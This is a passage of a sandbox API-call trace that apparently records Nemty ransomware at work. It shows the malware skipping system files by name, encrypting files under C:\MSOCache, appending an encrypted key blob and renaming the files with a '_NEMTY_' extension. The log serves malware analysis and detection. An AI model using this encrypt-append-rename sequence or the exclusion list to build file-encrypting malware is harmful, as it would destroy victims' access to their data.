lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2=".") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="..") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="...") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="windows") returned -1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="rsa") returned -1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="NTDETECT.COM") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="ntldr") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="MSDOS.SYS") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="IO.SYS") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="boot.ini") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="boot.ini") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="AUTOEXEC.BAT") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="ntuser.dat") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="desktop.ini") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="CONFIG.SYS") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="RECYCLER") returned -1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="BOOTSECT.BAK") returned 1 [0048.805] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="bootmgr") returned 1 [0048.806] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="programdata") returned -1 [0048.806] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="appdata") returned 1 [0048.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.xml", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0048.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.xml", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUISet.xml", lpUsedDefaultChar=0x0) returned 16 [0048.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0048.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.xml", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0048.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.xml", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUISet.xml", lpUsedDefaultChar=0x0) returned 16 [0048.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0048.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.xml", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0048.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.xml", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUISet.xml", lpUsedDefaultChar=0x0) returned 16 [0048.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.xml", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0048.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.xml", cchWideChar=16, lpMultiByteStr=0x4f9ed80, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUISet.xml", lpUsedDefaultChar=0x0) returned 16 [0048.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.806] Sleep (dwMilliseconds=0x5) [0048.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0cbbb50, dwHighDateTime=0x1d561e7)) [0048.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0cbbb50, dwHighDateTime=0x1d561e7)) [0048.810] GetLastError () returned 0x0 [0048.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.810] GetLastError () returned 0x0 [0048.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0048.810] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.810] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.811] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.811] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="A0jIqrZMEdMS/bVumoJBpw4KsDM+1WZfG3CXFuekbs2WUsIpg27aP8F4p7VFdrIW\r\nd0mWVHYmhcO9mBCOBeX8gCecY9taDtMw0fq40+fdtKKNgsMuQn+sHR0WnbmUrkuU\r\nYLks6leEjakOLF5KqTagkU6kIae5H81Cgpx3pUkBdE9a7nq4dP7HCBtTOQMrK2v+\r\niBNOyFJU+SrlfC5uDjPQpZksVSJT2vfCYL3tcPcJcWXHSfcm1OS9AgvThocD9Q1r\r\nspvg6GML4H2xT1RF2dCRb6fBO69/Owwpvma1Kkz2CSAQt+6/3QGoUdYdX6EfMPbL\r\nJDw9coI2zp0sWI+xkY1Nkw==\r\n", pcchString=0x653ef9c) returned 1 [0048.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0048.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.811] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.811] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=819) returned 1 [0048.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x330) returned 0x6343fe8 [0048.811] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.811] ReadFile (in: hFile=0x3c8, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x330, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653f1e4*=0x330, lpOverlapped=0x0) returned 1 [0048.819] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.820] WriteFile (in: hFile=0x3c8, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653f1dc*=0x330, lpOverlapped=0x0) returned 1 [0048.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.820] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=819, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x333 [0048.820] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.820] CloseHandle (hObject=0x3c8) returned 1 [0048.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0048.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0048.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0048.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942e8 [0048.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0048.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0048.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0048.821] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml._nemty_kgobjgd_")) returned 1 [0048.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.822] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2=".") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="..") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="...") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="windows") returned -1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="$RECYCLE.BIN") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="rsa") returned -1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="NTDETECT.COM") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="ntldr") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="MSDOS.SYS") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="IO.SYS") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="boot.ini") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="boot.ini") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="AUTOEXEC.BAT") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="ntuser.dat") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="desktop.ini") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="CONFIG.SYS") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="RECYCLER") returned -1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="BOOTSECT.BAK") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="bootmgr") returned 1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="programdata") returned -1 [0048.822] lstrcmpiW (lpString1="osetupui.dll", lpString2="appdata") returned 1 [0048.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetupui.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetupui.dll", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetupui.dll", lpUsedDefaultChar=0x0) returned 12 [0048.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetupui.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetupui.dll", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetupui.dll", lpUsedDefaultChar=0x0) returned 12 [0048.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetupui.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetupui.dll", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetupui.dll", lpUsedDefaultChar=0x0) returned 12 [0048.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetupui.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetupui.dll", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetupui.dll", lpUsedDefaultChar=0x0) returned 12 [0048.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.823] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2=".") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="..") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="...") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="windows") returned -1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="$RECYCLE.BIN") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="rsa") returned -1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="NTDETECT.COM") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="ntldr") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="MSDOS.SYS") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="IO.SYS") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="boot.ini") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="boot.ini") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="AUTOEXEC.BAT") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="ntuser.dat") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="desktop.ini") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="CONFIG.SYS") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="RECYCLER") returned -1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="BOOTSECT.BAK") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="bootmgr") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="programdata") returned 1 [0048.823] lstrcmpiW (lpString1="pss10r.chm", lpString2="appdata") returned 1 [0048.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pss10r.chm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0048.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pss10r.chm", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pss10r.chm", lpUsedDefaultChar=0x0) returned 10 [0048.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pss10r.chm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0048.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pss10r.chm", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pss10r.chm", lpUsedDefaultChar=0x0) returned 10 [0048.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pss10r.chm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0048.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pss10r.chm", cchWideChar=10, lpMultiByteStr=0x653f2a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pss10r.chm", lpUsedDefaultChar=0x0) returned 10 [0048.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pss10r.chm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0048.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pss10r.chm", cchWideChar=10, lpMultiByteStr=0x653f2d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pss10r.chm", lpUsedDefaultChar=0x0) returned 10 [0048.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.824] Sleep (dwMilliseconds=0x5) [0048.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0ce1cb0, dwHighDateTime=0x1d561e7)) [0048.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0ce1cb0, dwHighDateTime=0x1d561e7)) [0048.826] GetLastError () returned 0x0 [0048.826] RtlAllocateHeap 